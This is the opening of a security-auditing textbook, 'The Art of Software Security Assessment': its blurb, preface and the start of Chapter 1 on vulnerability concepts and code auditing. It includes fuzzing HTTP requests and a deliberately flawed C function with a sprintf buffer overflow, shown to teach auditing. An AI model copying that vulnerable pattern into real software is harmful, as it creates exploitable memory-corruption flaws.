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"There are a number of secure programming books on the market, but none that go 

as deep as this one. The depth and detail exceeds all books that I know about by an 

order of magnitude." 

Halvar Flake, CEO and head of research, SABRE Security GmbH 

The Definitive Insider's Guide to Auditing Software Security 

This is one of the most detailed, sophisticated, and useful guides to software security 

auditing ever written. The authors are leading security consultants and researchers 

who have personally uncovered vulnerabilities in applications ranging from sendmail 

to Microsoft Exchange, Check Point VPN to Internet Explorer. Drawing on their 

extraordinary experience, they introduce a start-to-finish methodology for "ripping 

apart" applications to reveal even the most subtle and well-hidden security flaws. 

The Art of Software Security Assessment covers the full spectrum of software 

vulnerabilities in both UNIX/Linux and Windows environments. It demonstrates how 

to audit security in applications of all sizes and functions, including network and Web 

software. Moreover, it teaches using extensive examples of real code drawn from past 

flaws in many of the industry's highest-profile applications. 

Coverage includes 
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• Code auditing: theory, practice, proven methodologies, and secrets of the trade 

• Bridging the gap between secure software design and post-implementation review 

• Performing architectural assessment: design review, threat modeling, and 

operational review 

• Identifying vulnerabilities related to memory management, data types, and 

malformed data 

• UNIX/Linux assessment: privileges, files, and processes 

• Windows-specific issues, including objects and the filesystem 

• Auditing interprocess communication, synchronization, and state 

• Evaluating network software: IP stacks, firewalls, and common application 

protocols 

• Auditing Web applications and technologies 

This book is an unprecedented resource for everyone who must deliver secure 

software or assure the safety of existing software: consultants, security specialists, 

developers, QA staff, testers, and administrators alike. 
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4.1 Preface 

"If popular culture has taught us anything, it is that someday mankind must face and 

destroy the growing robot menace." 

Daniel H. Wilson, How to Survive a Robot Uprising 

31051536.html
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The past several years have seen huge strides in computer security, particularly in 

the field of software vulnerabilities. It seems as though every stop at the bookstore 

introduces a new title on topics such as secure development or exploiting software. 

Books that cover application security tend to do so from the perspective of software 

designers and developers and focus on techniques to prevent software vulnerabilities 

from occurring in applications. These techniques start with solid security design 

principles and threat modeling and carry all the way through to implementation best 

practices and defensive programming strategies. Although they serve as strong 

defensive foundations for application development, these resources tend to give little 

treatment to the nature of vulnerabilities; instead, they focus on how to avoid them. 

What's more, every development team can't start rebuilding a secure application 

from the ground up. Real people have to deal with huge existing codebases, in-place 

applications, and limited time and budget. Meanwhile, the secure coding mantra 

seems to be "If it smells bad, throw it out." That's certainly necessary in some cases, 

but often it's too expensive and time consuming to be reasonable. So you might turn 

your attention to penetration testing and ethical hacking instead. A wide range of 

information on this topic is available, and it's certainly useful for the acid test of a 

software system. However, even the most technically detailed resources have a 

strong focus on exploit development and little to no treatment on how to find 

vulnerabilities in the first place. This still leaves the hanging question of how to find 

issues in an existing application and how to get a reasonable degree of assurance that 

a piece of software is safe. 

This problem is exactly the one faced by those in the field of professional software 

security assessment. People are growing more concerned with building and testing 

secure systems, but very few resources address the practice of finding vulnerabilities. 

After all, this process requires a deep technical understanding of some very complex 

issues and must include a systematic approach to analyzing an application. Without 

formally addressing how to find vulnerabilities, the software security industry has no 

way of establishing the quality of a software security assessment or training the next 

generation in the craft. We have written this book in the hope of answering these 

questions and to help bridge the gap between secure software development and 

practical post-implementation reviews. Although this book is aimed primarily at 

consultants and other security professionals, much of the material will have value to 

the rest of the IT community as well. Developers can gain insight into the subtleties 

and nuances of how languages and operating systems work and how those features 

can introduce vulnerabilities into an application that otherwise appears secure. 

Quality assurance (QA) personnel can use some of the guidelines in this book to 

ensure the integrity of in-house software and cut down on the likelihood of their 

applications being stung by a major vulnerability. Administrators can find helpful 

guidelines for evaluating the security impact of applications on their networks and use 

this knowledge to make better decisions about future deployments. Finally, hobbyists 

who are simply interested in learning more about how to assess applications will find 
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this book an invaluable resource (we hope!) for getting started in application security 

review or advancing their current skill sets. 

Prerequisites 

The majority of this book has been targeted at a level that any moderately 

experienced developer should find approachable. This means you need to be fairly 

comfortable with at least one programming language, and ideally, you should be 

familiar with basic C/C++ programming. At several stages throughout the book, we 

use Intel assembly examples, but we have attempted to keep them to a minimum and 

translate them into approximate C code when possible. We have also put a lot of 

effort into making the material as platform neutral as possible, although we do cover 

platform specifics for the most common operating systems. When necessary, we have 

tried to include references to additional resources that provide background for 

material that can't be covered adequately in this book. 

How to Use This Book 

Before we discuss the use of this book, we need to introduce its basic structure. The 

book is divided into three different parts: 

 Part I(? [????.]): Introduction to Software Security Assessment (Chapters 1(? 

[????.])4(? [????.])) These chapters introduce the practice of code auditing 

and explain how it fits into the software development process. You learn about 

the function of design review, threat modeling, and operational reviewtools 

that are useful for evaluating an application as a whole, and not just the code. 

Finally, you learn some generic high-level methods for performing a code 

review on any application, regardless of its function or size. 

 Part II(? [????.]): Software Vulnerabilities (Chapters 5(? [????.])13(? [????.])) 

These chapters shift the focus of the book toward practical implementation 

review and address how to find specific vulnerabilities in an application's 

codebase. Major software vulnerability classes are described, and you learn 

how to discover high-risk security flaws in an application. Numerous 

real-world examples of security vulnerabilities are given to help you get a feel 

for what software bugs look like in real code. 

 Part III(? [????.]): Software Vulnerabilities in Practice (Chapters 14(? 

[????.])18(? [????.])) The final portion of the book turns your attention toward 

practical uses of lessons learned from the earlier chapters. These chapters 

describe a number of common application classes and the types of bugs they 

tend to be vulnerable to. They also show you how to apply the technical 

knowledge gained from Part II(? [????.]) to real-world applications. 

Specifically, you look at networking, firewalling technologies, and Web 

technologies. Each chapter in this section introduces the common frameworks 

and designs of each application class and identifies where flaws typically 

occur. 
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You'll get the most value if you read this book straight through at least once so that 

you can get a feel for the material. This approach is best because we have tried to use 

each section as an opportunity to highlight techniques and tools that help you in 

performing application assessments. In particular, you should pay attention to the 

sidebars and notes we use to sum up the more important concepts in a section. 

Of course, busy schedules and impending deadlines can have a serious impact on 

your time. To that end, we want to lay out a few tracks of focus for different types of 

reviews. However, you should start with Part 1(? [????.]) (Chapters 1(? [????.])4(? 

[????.])) because it establishes a foundation for the rest of the book. After that, you 

can branch out to the following chapters: 

 UNIX track (Chapters 5(? [????.])10(? [????.]), 13(? [????.])) This chapter 

track starts off by covering common software vulnerability classes, such as 

memory corruption, program control flow, and specially formatted data. Then 

UNIX-centered security problems that arise because of quirks in the various 

UNIX operating systems are addressed. Finally, this track ends with coverage 

of synchronization vulnerabilities common to most platforms. 

 Windows track (Chapters 5(? [????.])8(? [????.]), 11(? [????.])13(? [????.])) 

This track starts off similarly to the UNIX track, by covering platform-neutral 

security problems. Then two chapters specifically address Windows APIs and 

their related vulnerabilities. Finally, this track finishes with coverage of 

common synchronization vulnerabilities. 

 Web track (Chapters 8(? [????.]), 13(? [????.]), 17(? [????.]), 18(? [????.])) 

Web auditing requires understanding common security vulnerabilities as well 

as Web-based frameworks and languages. This track discusses the common 

vulnerability classes that pertain to Web-based languages, and then finishes 

off with the Web-specific chapters. Although the UNIX and Windows chapters 

aren't listed here, reading them might be necessary depending on the Web 

application's deployment environment. 

 Network application track (Chapters 5(? [????.])8(? [????.]), 13(? [????.]), 

16(? [????.])) This sequence of chapters best addresses the types of 

vulnerabilities you're likely to encounter with network client/server 

applications. Notice that even though Chapter 16(? [????.]) is targeted at 

selected application protocols, it has a section for generic application protocol 

auditing methods. Like the previous track, UNIX or Windows chapters might 

also be relevant, depending on the deployment environment. 

 Network analysis track (Chapters 5(? [????.])8(? [????.]), 13(? [????.])16(? 

[????.])) This track is aimed at analyzing network analysis applications, such 

as firewalls, IPSs, sniffers, routing software, and so on. Coverage includes 

standard vulnerability classes along with popular network-based technologies 

and the common vulnerabilities in these products. Again, the UNIX and 

Windows chapters would be a good addition to this track, if applicable. 
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6. Part I:  Introduction to Software 

Security Assessment 

Part I: Introduction to Software Security 

Assessment 

6.1 Chapter 1.  Software Vulnerability Fundamentals 

Chapter 1. Software Vulnerability Fundamentals 

"Any sufficiently advanced technology is indistinguishable from magic." 

Arthur C. Clarke 

6.1.1 Introduction 

The average person tends to think of software as a form of technological wizardry 

simply beyond understanding. A piece of software might have complexity that rivals 

31051536.html
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any physical hardware, but most people never see its wheels spin, hear the hum of its 

engine, or take apart the nuts and bolts to see what makes it tick. Yet computer 

software has become such an integral part of society that it affects almost every 

aspect of people's daily lives. This wide-reaching effect inevitably raises questions 

about the security of systems that people have become so dependent on. You can't 

help but wonder whether the software you use is really secure. How can you verify 

that it is? What are the implications of a failure in software security? 

Over the course of this book, you'll learn about the tools you need to understand and 

assess software security. You'll see how to apply the theory and practice of code 

auditing; this process includes learning how to dissect an application, discover 

security vulnerabilities, and assess the danger each vulnerability presents. You also 

learn how to maximize your time, focusing on the most security-relevant elements of 

an application and prioritizing your efforts to help identify the most critical 

vulnerabilities first. This knowledge provides the foundation you need to perform a 

comprehensive security assessment of an application. 

This chapter introduces the elements of a software vulnerability and explains what it 

means to violate the security of a software system. You also learn about the elements 

of software assessment, including motivation, types of auditing, and how an audit fits 

in with the development process. Finally, some distinctions are pointed out to help 

you classify software vulnerabilities and address the common causes of these security 

issues. 

6.1.2 Vulnerabilities 

There's almost an air of magic when you first see a modern remote software exploit 

deployed. It's amazing to think that a complex program, written by a team of experts 

and deployed around the world for more than a decade, can suddenly be co-opted by 

attackers for their own means. At first glance, it's easy to consider the process as 

some form of digital voodoo because it simply shouldn't be possible. Like any magic 

trick, however, this sense of wonder fades when you peek behind the curtain and see 

how it works. After all, software vulnerabilities are simply weaknesses in a system 

that attackers can leverage to their advantage. In the context of software security, 

vulnerabilities are specific flaws or oversights in a piece of software that allow 

attackers to do something maliciousexpose or alter sensitive information, disrupt or 

destroy a system, or take control of a computer system or program. 

You're no doubt familiar with software bugs; they are errors, mistakes, or oversights 

in programs that result in unexpected and typically undesirable behavior. Almost 

every computer user has lost an important piece of work because of a software bug. 

In general, software vulnerabilities can be thought of as a subset of the larger 

phenomenon of software bugs. Security vulnerabilities are bugs that pack an extra 

hidden surprise: A malicious user can leverage them to launch attacks against the 

software and supporting systems. Almost all security vulnerabilities are software 
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bugs, but only some software bugs turn out to be security vulnerabilities. A bug must 

have some security-relevant impact or properties to be considered a security issue; in 

other words, it has to allow attackers to do something they normally wouldn't be able 

to do. (This topic is revisited in later chapters, as it's a common mistake to 

mischaracterize a major security flaw as an innocuous bug.) 

There's a common saying that security is a subset of reliability. This saying might not 

pass muster as a universal truth, but it does draw a useful comparison. A reliable 

program is one that's relatively free of software bugs: It rarely fails on users, and it 

handles exceptional conditions gracefully. It's written "defensively" so that it can 

handle uncertain execution environments and malformed inputs. A secure program is 

similar to a robust program: It can repel a focused attack by intruders who are 

attempting to manipulate its environment and input so that they can leverage it to 

achieve some nefarious end. Software security and reliability also share similar goals, 

in that they both necessitate development strategies that focus on exterminating 

software bugs. 

Note 

Although the comparison of security flaws to software bugs is useful, some 

vulnerabilities don't map so cleanly. For example, a program that allows you to edit a 

critical system file you shouldn't have access to might be operating completely 

correctly according to its specifications and design. So it probably wouldn't fall under 

most people's definition of a software bug, but it's definitely a security vulnerability. 

 

The process of attacking a vulnerability in a program is called exploiting. Attackers 

might exploit a vulnerability by running the program in a clever way, altering or 

monitoring the program's environment while it runs, or if the program is inherently 

insecure, simply using the program for its intended purpose. When attackers use an 

external program or script to perform an attack, this attacking program is often called 

an exploit or exploit script. 

Security Policies 

As mentioned, attackers can exploit a vulnerability to violate the security of a system. 

One useful way to conceptualize the "security of a system" is to think of a system's 

security as being defined by a security policy. From this perspective, a violation of a 

software system's security occurs when the system's security policy is violated. 

Note 

Matt Bishop, a computer science professor at University of CaliforniaDavis, is an 

accomplished security researcher who has been researching and studying computer 
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vulnerabilities for many years. Needless to say, he's put a lot of thought into 

computer security from a formal academic perspective as well as a technical 

perspective. If these topics interest you, check out his book, Computer Security: Art 

and Science (Addison-Wesley, 2003(? [????.])), and the resources at his home page: 

http://nob.cs.ucdavis.edu/~bishop/. 

 

For a system composed of software, users, and resources, you have a security 

policy, which is simply a list of what's allowed and what's forbidden. This policy might 

state, for example, "Unauthenticated users are forbidden from using the calendar 

service on the staging machine." A problem that allows unauthenticated users to 

access the staging machine's calendar service would clearly violate the security 

policy. 

Every software system can be considered to have a security policy. It might be a 

formal policy consisting of written documents, or it might be an informal loose 

collection of expectations that the software's users have about what constitutes 

reasonable behavior for that system. For most software systems, people usually 

understand what behavior constitutes a violation of security, even if it hasn't been 

stated explicitly. Therefore, the term "security policy" often means the user 

community's consensus on what system behavior is allowed and what system 

behavior is forbidden. This policy could take a few different forms, as described in the 

following list: 

 For a particularly sensitive and tightly scoped system, a security policy could 

be a formal specification of constraints that can be verified against the 

program code by mathematical proof. This approach is often expensive and 

applicable only to an extremely controlled software environment. You would 

hope that embedded systems in devices such as traffic lights, elevators, 

airplanes, and life support equipment go through this kind of verification. 

Unfortunately, this approach is prohibitively expensive or unwieldy, even for 

many of those applications. 

 A security policy could be a formal, written document with clauses such as 

"C.2. Credit card information (A.1.13) should never be disclosed to a third 

party (as defined in A.1.3) or transferred across any transmission media 

without sufficient encryption, as specified in Addendum Q." This clause could 

come from a policy written about the software, perhaps one created during the 

development process. It could also come from policies related to resources the 

software uses, such as a site security policy, an operating system (OS) policy, 

or a database security policy. 

 The security policy could be composed solely of an informal, slightly 

ambiguous collection of people's expectations of reasonable program security 

behavior, such as "Yeah, giving a criminal organization access to our credit 

card database is probably bad." 

http://nob.cs.ucdavis.edu/~bishop/
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Note 

The Java Virtual Machine (JVM) and .NET Common Language Runtime (CLR) have 

varying degrees of code access security (CAS). CAS provides a means of extensively 

validating a package at both load time and runtime. These validations include the 

integrity of the bytecode, the software's originator, and the application of code access 

restrictions. The most obvious applications of these technologies include the sandbox 

environments for Java applets and .NET-managed browser controls. 

Although CAS can be used as a platform for a rigidly formalized security model, some 

important caveats are associated with it. The first concern is that most developers 

don't thoroughly understand its application and function, so it's rarely leveraged in 

commercial software. The second concern is that the security provided by CAS 

depends entirely on the security of underlying components. Both the Java VM and 

the .NET CLR have been victims of vulnerabilities that could allow an application to 

escape the virtual machine sandbox and run arbitrary code. 

 

In practice, a software system's security policy is likely to be mostly informal and 

made up of people's expectations. However, it often borrows from formal 

documentation from the development process and references site and resource 

security policies. This definition of a system security policy helps clarify the concept of 

"system security." The bottom line is that security is in the eye of the beholder, and 

it boils down to end users' requirements and expectations. 

Security Expectations 

Considering the possible expectations people have about software security helps 

determine which issues they consider to be security violations. Security is often 

described as resting on three components: confidentiality, integrity, and availability. 

The following sections consider possible expectations for software security from the 

perspective of these cornerstones. 

Confidentiality 

Confidentiality requires that information be kept private. This includes any situation 

where software is expected to hide information or hide the existence of information. 

Software systems often deal with data that contains secrets, ranging from nation- or 

state-level intelligence secrets to company trade secrets or even sensitive personal 

information. 

Businesses and other organizations have plenty of secrets residing in their software. 

Financial information is generally expected to be kept confidential. Information about 

plans and performance could have strategic importance and is potentially useful for 
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an unlawful competitive advantage or for criminal activities, such as insider trading. 

So businesses expect that data to be kept confidential as well. Data involving 

business relationships, contracts, lawsuits, or any other sensitive content carries an 

expectation of confidentiality. 

If a software system maintains information about people, expectations about the 

confidentiality of that data are often high. Because of privacy concerns, 

organizations and users expect a software system to carefully control who can view 

details related to people. If the information contains financial details or medical 

records, improper disclosure of the data might involve liability issues. Software is 

often expected to keep personal user information secret, such as personal files, 

e-mail, activity histories, and accounts and passwords. 

In many types of software, the actual program code constitutes a secret. It could be 

a trade secret, such as code for evaluating a potential transaction in a commodities 

market or a new 3D graphics engine. Even if it's not a trade secret, it could still be 

sensitive, such as code for evaluating credit risks of potential loan applicants or the 

algorithm behind an online videogame's combat system. 

Software is often expected to compartmentalize information and ensure that only 

authenticated parties are allowed to see information for which they're authorized. 

These requirements mean that software is often expected to use access control 

technology to authenticate users and to check their authorization when accessing 

data. Encryption is also used to maintain the confidentiality of data when it's 

transferred or stored. 

Integrity 

Integrity is the trustworthiness and correctness of data. It refers to expectations 

that people have about software's capability to prevent data from being altered. 

Integrity refers not only to the contents of a piece of data, but also to the source of 

that data. Software can maintain integrity by preventing unauthorized changes to 

data sources. Other software might detect changes to data integrity by making note 

of a change in a piece of data or an alteration of the data's origins. 

Software integrity often involves compartmentalization of information, in which the 

software uses access control technology to authenticate users and check their 

authorization before they're allowed to modify data. Authentication is also an 

important component of software that's expected to preserve the integrity of the 

data's source because it tells the software definitively who the user is. 

Typically, users hold similar expectations for integrity as they do for confidentiality. 

Any issue that allows attackers to modify information they wouldn't otherwise be 

permitted to modify is considered a security flaw. Any issue that allows users to 
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masquerade as other users and manipulate data is also considered a breach of data 

integrity. 

Software vulnerabilities can be particularly devastating in breaches of integrity, as 

the modification of data can often be leveraged to further an attackers' access into a 

software system and the computing resources that host the software. 

Availability 

Availability is the capability to use information and resources. Generally, it refers to 

expectations users have about a system's availability and its resilience to 

denial-of-service (DoS) attacks. 

An issue that allows users to easily crash or disrupt a piece of software would likely be 

considered a vulnerability that violates users' expectations of availability. This issue 

generally includes attacks that use specific inputs or environmental disruptions to 

disable a program as well as attacks centered on exhausting software system 

resources, such as CPU, disk, or network bandwidth. 

 

6.1.3 The Necessity of Auditing 

Most people expect vendors to provide some degree of assurance about the integrity 

of their software. The sad truth is that vendors offer few guarantees of quality for any 

software. If you doubt this, just read the end user license agreement (EULA) that 

accompanies almost every piece of commercial software. However, it's in a 

company's best interests to keep clients happy; so most vendors implement their own 

quality assurance measures. These measures usually focus on marketable concerns, 

such as features, availability, and general stability; this focus has historically left 

security haphazardly applied or occasionally ignored entirely. 

Note 

Some industries do impose their own security requirements and standards, but they 

typically involve regulatory interests and apply only to certain specialized 

environments and applications. This practice is changing, however, as high-profile 

incidents are moving regulators and industry standards bodies toward more proactive 

security requirements. 

 

The good news is that attitudes toward security have been changing recently, and 

many vendors are adopting business processes for more rigorous security testing. 

Many approaches are becoming commonplace, including automated code analysis, 

31051536.html
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security unit testing, and manual code audits. As you can tell from the title, this book 

focuses on manual code audits. 

Auditing an application is the process of analyzing application code (in source or 

binary form) to uncover vulnerabilities that attackers might exploit. By going through 

this process, you can identify and close security holes that would otherwise put 

sensitive data and business resources at unnecessary risk. 

In addition to the obvious case of a company developing in-house software, code 

auditing makes sense in several other situations. Table 1-1 summarizes the most 

common ones. 

Table 1-1. Code-Auditing Situations 

Situation Description Advantage 

In-house 

software audit 

(prerelease) 

A software company 

performs code audits 

of a new product 

before its release. 

Design and implementation flaws can be 

identified and remedied before the product 

goes to market, saving money in developing 

and deploying updates. It also saves the 

company from potential embarrassment. 

In-house 

software audit 

(postrelease) 

A software company 

performs code audits 

of a product after its 

release. 

Security vulnerabilities can be found and 

fixed before malicious parties discover the 

flaws. This process allows time to perform 

testing and other checks as opposed to 

doing a hurried release in response to a 

vulnerability disclosure. 

Third-party 

product range 

comparison 

A third party performs 

audits of a number of 

competing products in 

a particular field. 

An objective third party can provide 

valuable information to consumers and 

assist in selecting the most secure product. 

Third-party 

evaluation 

A third party performs 

an independent 

software audit of a 

product for a client. 

The client can gain an understanding of the 

relative security of an application it's 

considering deploying. This might prove to 

be the deciding factor between purchasing 

one technology over another. 

Third-party 

preliminary 

evaluation 

A third party performs 

an independent 

review of a product 

before it goes to 

market. 

Venture capitalists can get an idea of the 

viability of a prospective technology for 

investment purposes. Vendors might also 

conduct this type of evaluation to ensure the 

quality of a product they intend to market. 

Independent 

research 

A security company or 

consulting firm 

Security product vendors can identify 

vulnerabilities and implement protective 
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Table 1-1. Code-Auditing Situations 

Situation Description Advantage 

performs a software 

audit independently. 

measures in scanners and other security 

devices. Independent research also 

functions as an industry watchdog and 

provides a way for researchers and security 

companies to establish professional 

credibility. 

 

As you can see, code auditing makes sense in quite a few situations. Despite the 

demand for people with these skills, however, few professionals have the training and 

experience to perform these audits at a high standard. It's our hope that this book 

helps fill that gap. 

Auditing Versus Black Box Testing 

Black box testing is a method of evaluating a software system by manipulating only 

its exposed interfaces. Typically, this process involves generating specially crafted 

inputs that are likely to cause the application to perform some unexpected behavior, 

such as crashing or exposing sensitive data. For example, black box testing an HTTP 

server might involve sending requests with abnormally large field sizes, which could 

trigger a memory corruption bug (covered in more depth later in Chapter 5(? [????.]), 

"Memory Corruption"). This test might involve a legitimate request, such as the 

following (assume that the "..." sequence represents a much longer series of "A" 

characters): 

GET AAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAAAAAAAAA HTTP/1.0 

 

Or it might involve an invalid request, such as this one (once again, the "..." sequence 

represents a much longer series of "A" characters): 

GET / AAAAAAAAAAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAA/1.0 

 

Any crashes resulting from these requests would imply a fairly serious bug in the 

application. This approach is even more appealing when you consider that tools to 

automate the process of testing applications are available. This process of automated 

black box testing is called fuzz-testing, and fuzz-testing tools include generic "dumb" 

and protocol-aware "intelligent" fuzzers. So you don't need to manually try out every 

case you can think of; you simply run the tool, perhaps with some modifications of 

your own design, and collect the results. 
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The advantage of black box testing an application is that you can do it quickly and 

possibly have results almost immediately. However, it's not all good news; there are 

several important disadvantages of black box testing. Essentially, black box testing is 

just throwing a bunch of data at an application and hoping it does something it isn't 

supposed to do. You really have no idea what the application is doing with the data, 

so there are potentially hundreds of code paths you haven't explored because the 

data you throw at the application doesn't trigger those paths. For instance, returning 

to the Web server example, imagine that it has certain internal functionality if 

particular keywords are present in the query string of a request. Take a look at the 

following code snippet, paying close attention to the bolded lines: 

struct keyval { 

    char *key; 

    char *value; 

}; 

 

int handle_query_string(char *query_string) 

{ 

    struct keyval *qstring_values, *ent; 

    char buf[1024]; 

 

    if(!query_string) 

        return 0; 

 

    qstring_values = split_keyvalue_pairs(query_string); 

 

    if((ent = find_entry(qstring_values, "mode")) != NULL) 

    { 

        sprintf(buf, "MODE=%s", ent->value); 

        putenv(buf); 

    } 

 

    ... more stuff here ... 

} 

 

This Web server has a specialized nonstandard behavior; if the query string contains 

the sequence mode=, the environment variable MODE is set with the value xxx. This 

specialized behavior has an implementation flaw, however; a buffer overflow caused 

by a careless use of the sprintf() function. If you aren't sure why this code is 

dangerous, don't worry; buffer overflow vulnerabilities are covered in depth in 

Chapter 5(? [????.]). 

You can see the bug right away by examining the code, but a black box or fuzz-testing 

tool would probably miss this basic vulnerability. Therefore, you need to be able to 
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assess code constructs intelligently in addition to just running testing tools and noting 

the results. That's why code auditing is important. You need to be able to analyze 

code and detect code paths that an automated tool might miss as well as locate 

vulnerabilities that automated tools can't catch. 

Fortunately, code auditing combined with black box testing provides maximum 

results for uncovering vulnerabilities in a minimum amount of time. This book arms 

you with the knowledge and techniques to thoroughly analyze an application for a 

wide range of vulnerabilities and provides insight into how you can use your 

understanding and creativity to discover flaws unique to a particular application. 

Code Auditing and the Development Life Cycle 

When you consider the risks of exposing an application to potentially malicious users, 

the value of application security assessment is clear. However, you need to know 

exactly when to perform an assessment. Generally, you can perform an audit at any 

stage of the Systems Development Life Cycle (SDLC). However, the cost of 

identifying and fixing vulnerabilities can vary widely based on when and how you 

choose to audit. So before you get started, review the following phases of the SDLC: 

1. Feasibility study This phase is concerned with identifying the needs the project 

should meet and determining whether developing the solution is 

technologically and financially viable. 

2. Requirements definition In this phase, a more in-depth study of requirements 

for the project is done, and project goals are established. 

3. Design The solution is designed and decisions are made about how the system 

will technically achieve the agreed-on requirements. 

4. Implementation The application code is developed according to the design laid 

out in the previous phase. 

5. Integration and testing The solution is put through some level of quality 

assurance to ensure that it works as expected and to catch any bugs in the 

software. 

6. Operation and maintenance The solution is deployed and is now in use, and 

revisions, updates, and corrections are made as a result of user feedback. 

Every software development process follows this model to some degree. Classical 

waterfall models tend toward a strict interpretation, in which the system's life span 

goes through only a single iteration through the model. In contrast, newer 

methodologies, such as agile development, tend to focus on refining an application 

by going through repeated iterations of the SDLC phases. So the way in which the 

SDLC model is applied might vary, but the basic concepts and phases are consistent 

enough for the purposes of this discussion. You can use these distinctions to help 

classify vulnerabilities, and in later chapters, you learn about the best phases in which 

to conduct different classes of reviews. 
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6.1.4 Classifying Vulnerabilities 

A vulnerability class is a set of vulnerabilities that share some unifying 

commonalitya pattern or concept that isolates a specific feature shared by several 

different software flaws. Granted, this definition might seem a bit confusing, but the 

bottom line is that vulnerability classes are just mental devices for conceptualizing 

software flaws. They are useful for understanding issues and communicating that 

understanding with others, but there isn't a single, clean taxonomy for grouping 

vulnerabilities into accurate, nonoverlapping classes. It's quite possible for a single 

vulnerability to fall into multiple classes, depending on the code auditor's terminology, 

classification system, and perspective. 

A rigid formal taxonomy for categorizing vulnerabilities isn't used in this book; instead, 

issues are categorized in a consistent, pragmatic fashion that lends itself to the 

material. Some software vulnerabilities are best tackled from a particular perspective. 

For example, certain flaws might best be approached by looking at a program in 

terms of the interaction of high-level software components; another type of flaw 

might best be approached by conceptualizing a program as a sequence of system 

calls. Regardless of the approach, this book explains the terms and concepts you'll 

encounter in security literature so that you can keep the array of terms and 

taxonomies the security community uses in some sort of context. 

In defining general vulnerability classes, you can draw a few general distinctions from 

the discussion of the SDLC phases. Two commonly accepted vulnerability classes 

include design vulnerabilities (SDLC phases 1, 2, and 3) and implementation 

vulnerabilities (SDLC phases 4 and 5). In addition, this book includes a third category, 

operational vulnerabilities (SDLC phase 6). The security community generally accepts 

design vulnerabilities as flaws in a software system's architecture and specifications; 

implementation vulnerabilities are low-level technical flaws in the actual construction 

of a software system. The category of operational vulnerabilities addresses flaws that 

arise in deploying and configuring software in a particular environment. 

Design Vulnerabilities 

A design vulnerability is a problem that arises from a fundamental mistake or 

oversight in the software's design. With a design flaw, the software isn't secure 

because it does exactly what it was designed to do; it was simply designed to do the 

wrong thing! These types of flaws often occur because of assumptions made about 

the environment in which a program will run or the risk of exposure that program 

components will face in the actual production environment. Design flaws are also 

referred to as high-level vulnerabilities, architectural flaws, or problems with program 

requirements or constraints. 

A quick glance at the SDLC phases reminds you that a software system's design is 

driven by the definition of software requirements, which are a list of objectives a 
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software system must meet to accomplish the goals of its creators. Typically, an 

engineer takes the set of requirements and constructs design specifications, which 

focus on how to create the software that meets those goals. Requirements usually 

address what a software system has to accomplishfor example, "Allow a user to 

retrieve a transaction file from a server." Requirements can also specify capabilities 

the software must havefor example, "It must support 100 simultaneous downloads 

per hour." 

Specifications are the plans for how the program should be constructed to meet the 

requirements. Typically, they include a description of the different components of a 

software system, information on how the components will be implemented and what 

they will do, and information on how the components will interact. Specifications 

could involve architecture diagrams, logic diagrams, process flowcharts, interface 

and protocol specifications, class hierarchies, and other technical specifications. 

When people speak of a design flaw, they don't usually make a distinction between a 

problem with the software's requirements and a problem with the software's 

specifications. Making this distinction often isn't easy because many high-level issues 

could be explained as an oversight in the requirements or a mistake in the 

specifications. 

For example, the TELNET protocol is designed to allow users to connect to a remote 

machine and access that machine as though it's connected to a local terminal. From 

a design perspective, TELNET arguably has a vulnerability in that it relies on 

unencrypted communication. In some environments, this reliance might be 

acceptable if the underlying network environment is trusted. However, in corporate 

networks and the Internet, unencrypted communications could be a major weakness 

because attackers sitting on the routing path can monitor and hijack TELNET sessions. 

If an administrator connects to a router via TELNET and enters a username and 

password to log in, a sniffer could record the administrator's username and password. 

In contrast, a protocol such as Secure Shell (SSH) serves the same basic purpose as 

TELNET, but it addresses the sniffing threat because it encrypts all communications. 

Implementation Vulnerabilities 

In an implementation vulnerability, the code is generally doing what it should, but 

there's a security problem in the way the operation is carried out. As you would 

expect from the name, these issues occur during the SDLC implementation phase, 

but they often carry over into the integration and testing phase. These problems can 

happen if the implementation deviates from the design to solve technical 

discrepancies. Mostly, however, exploitable situations are caused by technical 

artifacts and nuances of the platform and language environment in which the 

software is constructed. Implementation vulnerabilities are also referred to as 

low-level flaws or technical flaws. 
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This book includes many examples of implementation vulnerabilities because 

identifying these technical flaws is one of the primary charges of the code review 

process. Implementation vulnerabilities encompass several well-publicized 

vulnerability classes you've probably heard of, such as buffer overflows and SQL 

injection. 

Going back to the TELNET example, you can also find implementation vulnerabilities 

in specific versions of TELNET software. Some previous implementations of TELNET 

daemons didn't cleanse user environment variables correctly, allowing intruders to 

leverage the dynamic linking features of a UNIX machine to elevate their privileges on 

the machine. There were also flaws that allowed intruders to perform buffer overflows 

and format string attacks against various versions of TELNET daemons, often without 

authenticating at all. These flaws resulted in attackers being able to remotely issue 

arbitrary commands on the machine as privileged users. Basically, attackers could 

run a small exploit program against a vulnerable TELNET daemon and immediately 

get a root prompt on the server. 

Operational Vulnerabilities 

Operational vulnerabilities are security problems that arise through the 

operational procedures and general use of a piece of software in a specific 

environment. One way to distinguish these vulnerabilities is that they aren't present 

in the source code of the software under consideration; rather, they are rooted in how 

the software interacts with its environment. Specifically, they can include issues with 

configuration of the software in its environment, issues with configuration of 

supporting software and computers, and issues caused by automated and manual 

processes that surround the system. Operational vulnerabilities can even include 

certain types of attacks on users of the system, such as social engineering and theft. 

These issues occur in the SDLC operation and maintenance phase, although they 

have some overlap into the integration and testing phase. 

Going back to the TELNET example, you know TELNET has a design flaw because of its 

lack of encryption. Say you're looking at a software system for automated securities 

trading. Suppose it needs a set of weighting values to be updated every night to 

adjust its trading strategy for the next day. The documented process for updating this 

data is for an administrator to log in to the machine using TELNET at the end of each 

business day and enter the new set of values through a simple utility program. 

Depending on the environment, this process could represent a major operational 

vulnerability because of the multiple risks associated with using TELNET, including 

sniffing and connection hijacking. In short, the operational procedure for maintaining 

the software is flawed because it exposes the system to potential fraud and attacks. 

Gray Areas 
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The distinction between design and implementation vulnerabilities is deceptively 

simple in terms of the SDLC, but it's not always easy to make. Many implementation 

vulnerabilities could also be interpreted as situations in which the design didn't 

anticipate or address the problem adequately. On the flip side, you could argue that 

lower-level pieces of a software system are also designed, in a fashion. A programmer 

can design plenty of software components when implementing a specification, 

depending on the level of detail the specification goes into. These components might 

include a class, a function, a network protocol, a virtual machine, or perhaps a clever 

series of loops and branches. Lacking a strict distinction, in this book the following 

definition of a design vulnerability is used: 

In general, when people refer to design vulnerabilities, they mean high-level issues 

with program architecture, requirements, base interfaces, and key algorithms. 

Expanding on the definition of design vulnerabilities, this book uses the following 

definition of an implementation vulnerability: 

Security issues in the design of low-level program pieces, such as parts of individual 

